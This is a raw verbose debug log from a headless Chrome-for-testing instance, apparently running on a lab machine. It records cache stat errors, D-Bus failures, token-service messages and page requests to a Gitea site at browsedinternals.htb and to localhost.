[2585:2588:0111/001626.402440:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_025": No such file or directory (2)
[2585:2588:0111/001626.402458:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_026": No such file or directory (2)
[2585:2588:0111/001626.402475:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_027": No such file or directory (2)
[2585:2588:0111/001626.402492:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_028": No such file or directory (2)
[2585:2588:0111/001626.402509:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_029": No such file or directory (2)
[2585:2588:0111/001626.402526:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_030": No such file or directory (2)
[2585:2588:0111/001626.402543:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_031": No such file or directory (2)
[2585:2588:0111/001626.402560:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_032": No such file or directory (2)
[2585:2588:0111/001626.402577:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_033": No such file or directory (2)
[2585:2588:0111/001626.402594:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_034": No such file or directory (2)
[2585:2588:0111/001626.402611:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_035": No such file or directory (2)
[2585:2588:0111/001626.402629:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_036": No such file or directory (2)
[2585:2588:0111/001626.402646:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_037": No such file or directory (2)
[2585:2588:0111/001626.402663:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_038": No such file or directory (2)
[2555:2566:0111/001626.402674:VERBOSE1:token_service_table.cc(202)] Loaded tokens: result = 3 ; number of tokens loaded = 0
[2585:2588:0111/001626.402680:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_039": No such file or directory (2)
[2585:2588:0111/001626.402698:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_040": No such file or directory (2)
[2585:2588:0111/001626.402715:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_041": No such file or directory (2)
[2585:2588:0111/001626.402734:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_042": No such file or directory (2)
[2585:2588:0111/001626.402752:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_043": No such file or directory (2)
[2585:2588:0111/001626.402769:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_044": No such file or directory (2)
[2585:2588:0111/001626.402786:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_045": No such file or directory (2)
[2585:2588:0111/001626.402807:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_046": No such file or directory (2)
[2585:2588:0111/001626.402833:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_047": No such file or directory (2)
[2585:2588:0111/001626.402858:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_048": No such file or directory (2)
[2585:2588:0111/001626.402876:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_049": No such file or directory (2)
[2585:2588:0111/001626.402893:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_050": No such file or directory (2)
[2585:2588:0111/001626.402911:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_051": No such file or directory (2)
[2585:2588:0111/001626.402928:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_052": No such file or directory (2)
[2585:2588:0111/001626.402945:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_053": No such file or directory (2)
[2585:2588:0111/001626.402962:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_054": No such file or directory (2)
[2585:2588:0111/001626.402979:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_055": No such file or directory (2)
[2585:2588:0111/001626.402996:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_056": No such file or directory (2)
[2585:2588:0111/001626.403013:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_057": No such file or directory (2)
[2585:2588:0111/001626.403030:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_058": No such file or directory (2)
[2585:2588:0111/001626.403047:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_059": No such file or directory (2)
[2585:2588:0111/001626.403064:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_060": No such file or directory (2)
[2585:2588:0111/001626.403081:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_061": No such file or directory (2)
[2585:2588:0111/001626.403098:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_062": No such file or directory (2)
[2585:2588:0111/001626.403116:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_063": No such file or directory (2)
[2585:2588:0111/001626.403358:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_064": No such file or directory (2)
[2585:2588:0111/001626.403400:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_065": No such file or directory (2)
[2585:2588:0111/001626.403434:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_066": No such file or directory (2)
[2585:2588:0111/001626.403475:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_067": No such file or directory (2)
[2585:2588:0111/001626.403510:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_068": No such file or directory (2)
[2585:2588:0111/001626.403544:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_069": No such file or directory (2)
[2585:2588:0111/001626.403578:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_070": No such file or directory (2)
[2585:2588:0111/001626.403627:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_071": No such file or directory (2)
[2585:2588:0111/001626.403669:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_072": No such file or directory (2)
[2585:2588:0111/001626.403704:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_073": No such file or directory (2)
[2585:2588:0111/001626.403739:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_074": No such file or directory (2)
[2585:2588:0111/001626.403773:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_075": No such file or directory (2)
[2585:2588:0111/001626.403807:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_076": No such file or directory (2)
[2585:2588:0111/001626.403846:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_077": No such file or directory (2)
[2585:2588:0111/001626.403884:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_078": No such file or directory (2)
[2585:2588:0111/001626.403922:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_079": No such file or directory (2)
[2585:2588:0111/001626.403959:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_080": No such file or directory (2)
[2585:2588:0111/001626.403997:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_081": No such file or directory (2)
[2585:2588:0111/001626.404035:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_082": No such file or directory (2)
[2585:2588:0111/001626.404073:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_083": No such file or directory (2)
[2585:2588:0111/001626.404111:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_084": No such file or directory (2)
[2585:2588:0111/001626.404171:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_085": No such file or directory (2)
[2585:2588:0111/001626.404211:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_086": No such file or directory (2)
[2585:2588:0111/001626.404249:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_087": No such file or directory (2)
[2585:2588:0111/001626.404296:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_088": No such file or directory (2)
[2585:2588:0111/001626.404334:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_089": No such file or directory (2)
[2585:2588:0111/001626.404379:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_090": No such file or directory (2)
[2585:2588:0111/001626.404418:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_091": No such file or directory (2)
[2585:2588:0111/001626.404455:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_092": No such file or directory (2)
[2585:2588:0111/001626.404493:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_093": No such file or directory (2)
[2585:2588:0111/001626.404530:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_094": No such file or directory (2)
[2585:2588:0111/001626.405270:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_095": No such file or directory (2)
[2585:2588:0111/001626.405325:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_096": No such file or directory (2)
[2585:2588:0111/001626.405379:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_097": No such file or directory (2)
[2585:2588:0111/001626.405489:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_098": No such file or directory (2)
[2585:2588:0111/001626.405555:VERBOSE1:file_util_posix.cc(315)] Cannot stat "/var/www/.cache/google-chrome-for-testing/Default/Cache/old_Cache_Data_099": No such file or directory (2)
[2555:2555:0111/001626.416520:VERBOSE1:partitioned_lock_manager.cc(212)] Acquiring <PartitionedLockId>{id: 0x31, partition: 0} for Start@chrome/browser/web_applications/generated_icon_fix_manager.cc:58
[2555:2555:0111/001626.419483:VERBOSE1:partitioned_lock_manager.cc(194)] All locks acquired for Start@chrome/browser/web_applications/generated_icon_fix_manager.cc:58
[2555:2555:0111/001626.432536:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2555:0111/001626.432559:VERBOSE1:idle_linux.cc(129)] org.gnome.ScreenSaver D-Bus service does not exist
[2555:2566:0111/001626.432886:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2555:0111/001626.439461:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Session.TotalDuration
[2555:2555:0111/001626.439483:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Commerce.PriceDrops.ActiveTabNavigationComplete.IsProductDetailPage
[2555:2555:0111/001626.439492:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing Autofill_PolledCreditCardSuggestions
[2555:2555:0111/001626.439500:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing IOS.ParcelTracking.Tracked.AutoTrack
[2555:2555:0111/001626.439508:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Omnibox.SuggestionUsed.ClientSummarizedResultType
[2555:2555:0111/001626.439518:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing MetadataWriter
[2555:2555:0111/001626.439526:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Sync.DeviceCount2
[2555:2555:0111/001626.439533:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Sync.DeviceCount2.Phone
[2555:2555:0111/001626.439540:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Sync.DeviceCount2.Desktop
[2555:2555:0111/001626.439548:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing Sync.DeviceCount2.Tablet
[2555:2555:0111/001626.439555:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing MobileBookmarkManagerOpen
[2555:2555:0111/001626.439562:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing NewTabPage.MostVisited.Clicked
[2555:2555:0111/001626.439570:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing TabGroup.Created.OpenInNewTab
[2555:2555:0111/001626.439577:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing Android.HistoryPage.OpenItem
[2555:2555:0111/001626.439584:VERBOSE1:signal_filter_processor.cc(54)] Segmentation platform started observing MobileMenuRecentTabs
[2555:2555:0111/001626.439592:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.ManagePasswordsReferrer
[2555:2555:0111/001626.439599:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.ProfileStore.TotalAccountsHiRes3.WithScheme.Https
[2555:2555:0111/001626.439606:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.FillingAssistance
[2555:2555:0111/001626.439614:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.SavedPasswordIsGenerated
[2555:2555:0111/001626.439621:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.SaveUIDismissalReason
[2555:2555:0111/001626.439628:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing PasswordManager.SaveUIDismissalReason
[2555:2555:0111/001626.439635:VERBOSE1:signal_filter_processor.cc(61)] Segmentation platform started observing IOS.CredentialExtension.IsEnabled.Startup
[2555:2555:0111/001626.441443:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(520)] MutablePO2TS::OnWebDataServiceRequestDone. Result type: 5
[2555:2555:0111/001626.441463:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(580)] MutablePO2TS::LoadAllCredentialsIntoMemory; 0 credential(s).
[2555:2555:0111/001626.444692:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.444722:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.444733:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.444743:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.445117:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.447136:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.447152:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.447265:VERBOSE1:account_reconcilor.cc(404)] AccountReconcilor::OnEndBatchOfRefreshTokenStateChanges. Reconcilor state: 1
[2555:2555:0111/001626.453900:VERBOSE1:partitioned_lock_manager.cc(236)] Releasing <PartitionedLockId>{id: 0x31, partition: 0} requested by Start@chrome/browser/web_applications/generated_icon_fix_manager.cc:58
[2555:2555:0111/001626.454866:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2555:2555:0111/001626.470416:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2555:0111/001626.470551:VERBOSE1:idle_linux.cc(129)] org.mate.ScreenSaver D-Bus service does not exist
[2555:2567:0111/001626.470668:ERROR:bus.cc(408)] Failed to connect to the bus: Could not parse server address: Unknown address type (examples of valid types are "tcp" and on UNIX "unix")
[2555:2555:0111/001626.473798:ERROR:object_proxy.cc(576)] Failed to call method: org.freedesktop.DBus.NameHasOwner: object_path= /org/freedesktop/DBus: unknown error type: 
[2555:2555:0111/001626.473849:VERBOSE1:idle_linux.cc(129)] org.xfce.ScreenSaver D-Bus service does not exist
[2555:2555:0111/001626.473879:WARNING:idle_linux.cc(110)] None of the known D-Bus ScreenSaver services could be used.
[2585:2590:0111/001626.504673:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/css/index.css?v=1.24.5
[2585:2590:0111/001626.505715:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/css/theme-gitea-auto.css?v=1.24.5
[2585:2590:0111/001626.506425:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/img/logo.svg
[2555:2555:0111/001626.538982:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2585:2590:0111/001626.544909:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/css/main.css
[2585:2590:0111/001626.545629:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic01.jpg
[2585:2590:0111/001626.546211:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic02.jpg
[2555:2555:0111/001626.557610:VERBOSE1:mutable_profile_oauth2_token_service_delegate.cc(401)] MutablePO2TS::RefreshTokenIsAvailable
[2624:2624:0111/001626.570201:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  0x3abc0044c7b8
  URL:                    
  context_type:           WEB_PAGE
  effective extension id: (none)
  effective context type: WEB_PAGE
[2625:2625:0111/001626.569585:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  0x3abc0044c7b8
  URL:                    
  context_type:           WEB_PAGE
  effective extension id: (none)
  effective context type: WEB_PAGE
[2625:2625:0111/001626.573074:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  (nil)
  URL:                    
  context_type:           UNSPECIFIED
  effective extension id: (none)
  effective context type: UNSPECIFIED
[2625:2625:0111/001626.573578:VERBOSE1:dispatcher.cc(563)] Num tracked contexts: 1
[2624:2624:0111/001626.571911:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  (nil)
  URL:                    
  context_type:           UNSPECIFIED
  effective extension id: (none)
  effective context type: UNSPECIFIED
[2624:2624:0111/001626.574148:VERBOSE1:dispatcher.cc(563)] Num tracked contexts: 1
[2585:2590:0111/001626.581589:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/images/pic03.jpg
[2585:2590:0111/001626.612304:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/js/webcomponents.js?v=1.24.5
[2585:2590:0111/001626.613908:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://browsedinternals.htb/assets/js/index.js?v=1.24.5
[2555:2555:0111/001626.640156:VERBOSE1:segment_result_provider.cc(136)] GetSegmentResult: segment=OPTIMIZATION_TARGET_SEGMENTATION_DEVICE_SWITCHER ignoring DB score, executing model.
[2555:2555:0111/001626.640199:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_DEVICE_SWITCHER server segment info not available
[2555:2555:0111/001626.640213:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_DEVICE_SWITCHER failed to get database model score, trying default model.
[2585:2590:0111/001626.649445:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/css/fontawesome-all.min.css
[2585:2590:0111/001626.649849:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: https://fonts.googleapis.com/css?family=Roboto:100,300,100italic,300italic
[2585:2590:0111/001626.696419:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.min.js
[2585:2590:0111/001626.696818:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.scrolly.min.js
[2585:2590:0111/001626.697117:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.dropotron.min.js
[2585:2590:0111/001626.697383:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/jquery.scrollex.min.js
[2585:2590:0111/001626.704602:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/browser.min.js
[2585:2590:0111/001626.705775:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/breakpoints.min.js
[2585:2590:0111/001626.721017:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/util.js
[2585:2590:0111/001626.723063:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: http://localhost/assets/js/main.js
[2624:2624:0111/001626.913922:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           imljcaigkmmkjkpgajjlnnndpohbdgph
  frame:                  0x3abc0044c7b8
  URL:                    
  context_type:           CONTENT_SCRIPT
  effective extension id: imljcaigkmmkjkpgajjlnnndpohbdgph
  effective context type: CONTENT_SCRIPT
[2624:2624:0111/001626.914288:VERBOSE1:script_context.cc(150)] Created context:
  extension id:           (none)
  frame:                  (nil)
  URL:                    
  context_type:           UNSPECIFIED
  effective extension id: (none)
  effective context type: UNSPECIFIED
[2624:2624:0111/001626.918154:VERBOSE1:dispatcher.cc(563)] Num tracked contexts: 2
[2585:2590:0111/001626.922685:VERBOSE1:network_delegate.cc(37)] NetworkDelegate::NotifyBeforeURLRequest: https://preview.redd.it/why-is-larry-so-evil-v0-ty3qlu4swjle1.jpeg?auto=webp&s=41fc3ee5bcec63e5cb4cc69757a812fb80143f47
[2555:2555:0111/001631.439950:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT does not have a segment info.
[2555:2555:0111/001631.439984:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT failed to get score from database, executing server model.
[2555:2555:0111/001631.439997:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT server segment info not available
[2555:2555:0111/001631.440010:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT failed to get score from executing server model, getting score from default model from db.
[2555:2555:0111/001631.440054:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT has expired or unavailable result.
[2555:2555:0111/001631.440089:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_CHROME_LOW_USER_ENGAGEMENT failed to get database model score, trying default model.
[2555:2555:0111/001631.441144:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER does not have a segment info.
[2555:2555:0111/001631.441165:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER failed to get score from database, executing server model.
[2555:2555:0111/001631.441176:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER server segment info not available
[2555:2555:0111/001631.441188:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER failed to get score from executing server model, getting score from default model from db.
[2555:2555:0111/001631.441199:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER has expired or unavailable result.
[2555:2555:0111/001631.441208:VERBOSE1:segment_result_provider.cc(210)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SEARCH_USER failed to get database model score, trying default model.
[2555:2555:0111/001631.441320:VERBOSE1:segment_result_provider.cc(226)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER does not have a segment info.
[2555:2555:0111/001631.441330:VERBOSE1:segment_result_provider.cc(172)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER failed to get score from database, executing server model.
[2555:2555:0111/001631.441339:VERBOSE1:segment_result_provider.cc(277)] ExecuteModelAndGetScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER server segment info not available
[2555:2555:0111/001631.441348:VERBOSE1:segment_result_provider.cc(201)] OnGotModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER failed to get score from executing server model, getting score from default model from db.
[2555:2555:0111/001631.441359:VERBOSE1:segment_result_provider.cc(240)] GetCachedModelScore: segment=OPTIMIZATION_TARGET_SEGMENTATION_SHOPPING_USER has expired or unavailable result.
